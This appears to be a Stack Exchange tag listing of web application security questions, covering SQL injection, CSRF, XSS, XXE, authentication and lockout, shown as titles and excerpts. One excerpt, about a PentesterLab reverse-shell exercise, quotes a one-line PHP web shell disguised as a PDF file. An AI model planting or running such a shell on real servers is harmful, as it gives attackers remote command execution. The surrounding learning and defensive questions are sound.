An application that is accessed over a network such as the Internet or an intranet using a browser.

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1answer
176 views

Detecting web app attacks by parsing log files [duplicate]

Following up on this question as the answers are now 5 years old: Can I detect web app attacks by viewing my Apache log file? My boss has tasked me with analyzing our access.log and error.log files ...
2
votes
3answers
153 views

Is it okay to only use username/password to secure an admin page for moderating a website?

Is there a standard practice to securing an admin page for an application written in angular and nodejs or just in general? The admin page would approve/ban users and moderate comments. Should it be ...
2
votes
4answers
241 views

What would you call an attack where authenticated user modifies other users information on web app?

Authenticated user on web app, using other people's id to update or change their information. So basically the web app is not checking for person who is logged in against the person who he/she is ...
0
votes
1answer
60 views

Feasibility of creating an in-memory web app (that runs from a CD-rom on a web server) for sharing self-destructing messages

This question is about a hypothetical in-memory web application that is used for exchanging encrypted messages that passively self-destruct in X amount of minutes. Here the messages would be stored ...
1
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0answers
83 views

Firewall requirements for SaaS service providers

I have not had much success compiling a workable overview on the topic of firewalls and application service providers, despite making a rather extensive contribution to Google's workload this month. ...
0
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1answer
55 views

Making a Judgement on a User's IP Usage

We have a click exchange-type web application that allows users to receive stats boosts within a game. Stats boosts are based off unique IP addresses which poses a problem for users who use proxies or ...
0
votes
2answers
400 views

Source code disclosure vulnerability

I am a bit confused about the discussion here about hiding javascript source code. Let's say if I browse to a url like this: http://www.example.com/site/somejs.js and then what I see is something like ...
117
votes
8answers
50k views

Is BASIC-Auth secure if done over HTTPS?

I'm making a REST-API and it's straight forward to do BASIC auth login. Then let HTTPS secure the connection so the password is protected when the api is used. Can this be considered secure?
16
votes
6answers
43k views

Testing for HTTP TRACE method

How can I test for HTTP TRACE on my web-server? I need to train a Tester how to verify that the HTTP TRACE method is disabled. Ideally I need a script to paste into Firebug to initiate a https ...
6
votes
3answers
634 views

XSS scripts in console

Well i need to know is it possible to enter xss script through console of developer's tools(e.g. : firebug of firefox)? Is this a proper way ?
1
vote
2answers
299 views

ruby on rails pentesting web applications

I am currently testing a RoR web application, but I am honestly at a bit of a loss, I have never gone up against a RoR application before and I was wondering if there were any specific tools I could ...
3
votes
1answer
93 views

What methods can be used to prevent the browser (IE11 specifically) from storing credentials / autocomplete

Going through Pen Test and it was asked of us to disable auto complete in our CC payment fields. We tried adding autocomplete=off and also tried false on the input filed. A ny suggestions to ...
9
votes
4answers
731 views

Worthwhile from security standpoint to limit database server user for ASP.NET website to only EXECUTE on stored procedures?

I know that obviously we must avoid sql injection attacks through user input validation and parametrized queries. There's already a firewall in place on the database server to limit remote ...
18
votes
2answers
4k views

JavaScript Injection using Man in the Middle Attack

Suppose I am connected to a wifi-hotspot hosted by a malicious attacker. Further, suppose that I am accessing a login page of an fictitious email site tmail.com over insecure HTTP connection. My ...
2
votes
1answer
237 views

Preventing XXE Injection

I've stumbled upon an exploit method which I haven't really had time to investigate before. XML eXternal Entity is said to be susceptible of a server-side type of injection. I can specify a Document ...
19
votes
4answers
964 views

Should I be concerned when a “Forgot Password?” tool sends my password in plaintext?

Some sites I have been a member of in the past don't go through the normal "Forgot Password?" process. Instead of e-mailing me a unique password reset link or something of the like, I have received ...
1
vote
1answer
97 views

OTP for syncing mobile device

Scenario: a web app with two-factor authentication using username/password and hardware OTP. Once logged into the app, one of the app modules should be used in a tablet or any mobile device without a ...
3
votes
2answers
59 views

Is hashing schema information for client when generating SQL queries more secure?

I'm planning to implement a web system wherein APIs and presentation for CRUD in data tables are automatically generated, like that in phpMyAdmin. How I plan to implement this is to construct SQL ...
3
votes
2answers
139 views

Shop saves credit card data from guest orders

A web shop allows customers to order as guest or to create an account. I ordered as guest, entered my email address and the shipping address, and payed per credit card (I had to enter the security ...
2
votes
1answer
110 views

Can you steal session cookie with BREACH attack?

Most of the discussions about the BREACH vulnerability are around stealing session-based CSRF tokens. But if you can steal a session-based token, could you also steal the session token itself? ...
1
vote
1answer
44 views

add another layer of protection on top of oauth 2

My Rest API is protected using Oauth2. My main client is a native app. it's working great but there are certain calls to the API that i want to make sure that are performed from my client - meaning ...
6
votes
2answers
2k views

Using skype for an attack

I am curious about something; let's say someone randomly added me to Skype and tried to initiate a chat with me and I want to know more about them but I am worried if they can do some damage. My ...
8
votes
3answers
733 views

Finding security consultant for doing in-depth code review?

We have a PHP application that we know has poor coding practices (because the developers did not have a good understanding of PHP / programming fundamentals). This could lead to the scenario where we ...
5
votes
2answers
597 views

Has there been any documented cases where hackers have hijacked the phone number to a business?

Has there been any cases where hackers have taken over the phone number to a business, by creating a phone number in the same area code, setting up a virtual PBX / Asterisk system, routing all calls ...
1
vote
1answer
135 views

mail.google.com identity doesn't match

I got This website doesn't supply identity information in firefox while browsing gmail.com, I understand that would be because I understand it is required when it needs to load content using ...
1
vote
1answer
434 views

Failed to connect to netcat reverse shell

I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this: %PDF-1.4 <?php echo system($_GET["cmd"]); ...
2
votes
1answer
91 views

Is TLS enough to prevent eavesdropping? [duplicate]

Is it enough to use only SSL/TLS for client-server application with authentication, registration and data transmission (like chat)? If it is not what I also need to use?
2
votes
1answer
53 views

Avoid brute-force enumeration of customers in a SaaS application

I'm involved in the development of a SaaS application. We host the application for different customers. A customer is a company. Each customer gets access to their hosted instance of the application ...
3
votes
2answers
115 views

Issues with using TLS Session Id for Web App Session?

Apache Tomcat has the ability to use the TLS Session ID instead of a session cookie or JSESSIONID in the querystring. My site is HTTPS Everywhere. This seems useful in that I don't have to worry ...
1
vote
2answers
118 views

Circumventing disadvantage of IP-based account lockout

So we're trying to prevent brute-force attacks on our web server login page--currently we just do IP-based locking if x failed attempts from IP address Y occur over z time period. After a security ...
5
votes
3answers
290 views

PHP | Security for allowing user uploads

My Sittuation: I am creating a web application with PHP which allows users to scan their files for viruses. It allows the user to upload their files via the html "file" input type or via a URL. I ...
3
votes
4answers
1k views

Is it secure to have source code for website public? [duplicate]

I am working on a website and would like to have it under revision control. I have used git for earlier projects before and I like it. This project though is a website written in Django. I am totally ...
2
votes
1answer
181 views

Basic nginx securing / restricted access [closed]

I run a private virtual server on Ubuntu 14.04 and I use Nginx as my http server and/or reverse proxy. I run multiple webapps on this server, most of them are fresh open source projects. UPDATE : ...
0
votes
1answer
79 views

rate limiting and access filter for web application

I had a requirement of rate limiting and dynamically access controlling access to web application dynamically I want to be able to rate limit access turned on / off dynamically black/white list ...
2
votes
1answer
59 views

Freelance web app tester law on breach after scan [closed]

If I was to do a web app test on a companies site and I didn't spot something and the company was breached via the app I tested what come back could I possibly have ? How could I protect myself ...
6
votes
1answer
276 views

Secure forgot password page: Is a server-stateless implementation viable?

This is yet another "How is a forgot my password page done right" question. However, it explicitly addresses two implementation options that I have come across recently. The common approaches [1,2] ...
3
votes
3answers
617 views

External cross domain include script

One of my web application underwent a vulnerability assessment recently, and one of the findings is about cross domain include script. Our web app uses addthis_widget.js from AddThis to bookmark ...
3
votes
7answers
622 views

Can one reliably show HTTPS status in browser (not just the lock in the URL bar)?

I'm almost certain this isn't possible, as it would probably be too exploitable, but I wanted to ask the community just in case. Is there a way to determine and display the state of HTTPS on a page ...
0
votes
1answer
44 views

How to evaluate the overall safety of a web offering? [closed]

Background: I have been trying to find a simple app to document my children's milestones in life. I have been signing up for a couple of free services and trying to evaluate their offerings. I ...
0
votes
2answers
299 views

Google Analytics: Hacked or Ghost Referers?

I posted this question (Hacked or Ghost Referers) on Google groups earlier today, but I also wanted to see if the security experts here have any insight into this behavior. I've got a web application ...
7
votes
7answers
2k views

Facebook account keeps getting hacked, can't seem to figure out why or how?

One of my mate, she has a lot of friends on Facebook, uses it for marketing. Her account keeps getting broken into. Her password gets reset and/or gets locked for changing resetting password too many ...
57
votes
7answers
20k views

SQL injection — why isn't escape quotes safe anymore?

Raw SQL When you're writing SQL -- for anything that takes human input really, a lot of things have been done to avoid the injection. Everyone that's heard of SQL injection knows that (I'm going to ...
1
vote
2answers
189 views

Are CSRF tokens useful outside of web APIs?

I'm trying to understand CSRF tokens and one thing isn't making sense to me. For a web API, you can provide a CSRF token just once, on authentication, and expect the client to remember that token ...
0
votes
2answers
87 views

Login account check [closed]

Suppose you want to create a new account in any website (let's make it Facebook), how do they check the Gmail ID or any mail ID we entered is a valid mail ID? I observed that some websites are ...
2
votes
3answers
243 views

Is it important for a web application's middle-tier to use a different communication protocol?

When building an n-tier/layered web application where each tier is physically separated from the others, is it important for a different communication stack to be used by the backend tier(s)—which are ...
3
votes
8answers
666 views

Are URL shorteners “vulnerable” due to open redirects?

The OWASP state that open redirect is a vulnerability: An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This ...
2
votes
1answer
141 views

Hiding remote database credentials in application

If I'm building an application that connects to a remote database, where should I hide the credentials? I've seen many suggest that you go through a web-application and use POST and GET requests to ...
15
votes
6answers
6k views

Is showing your IP address in the URL a bad practice?

Someone told me that showing your IP address in a URL (like hxxp://45.67.134.34/default.html) is easier to hack. Is that true? I could trace any domain name and get its IP number as well.
3
votes
2answers
589 views

Is AES encryption vulnerable?

I was reading weaknesses in AES encryption. Unfortunately, I have a website that uses AES: Its database is almost entirely AES encrypted. Is there a real threat? Would it be worth to refactor the web ...
1
vote
2answers
559 views

Should CSRF token without session cookie work?

Let's say that website example.com has CSRF protection. They send CSRF token in custom header and in hidden input fields. For example to add new folder, your http request need to contain CSRF token. ...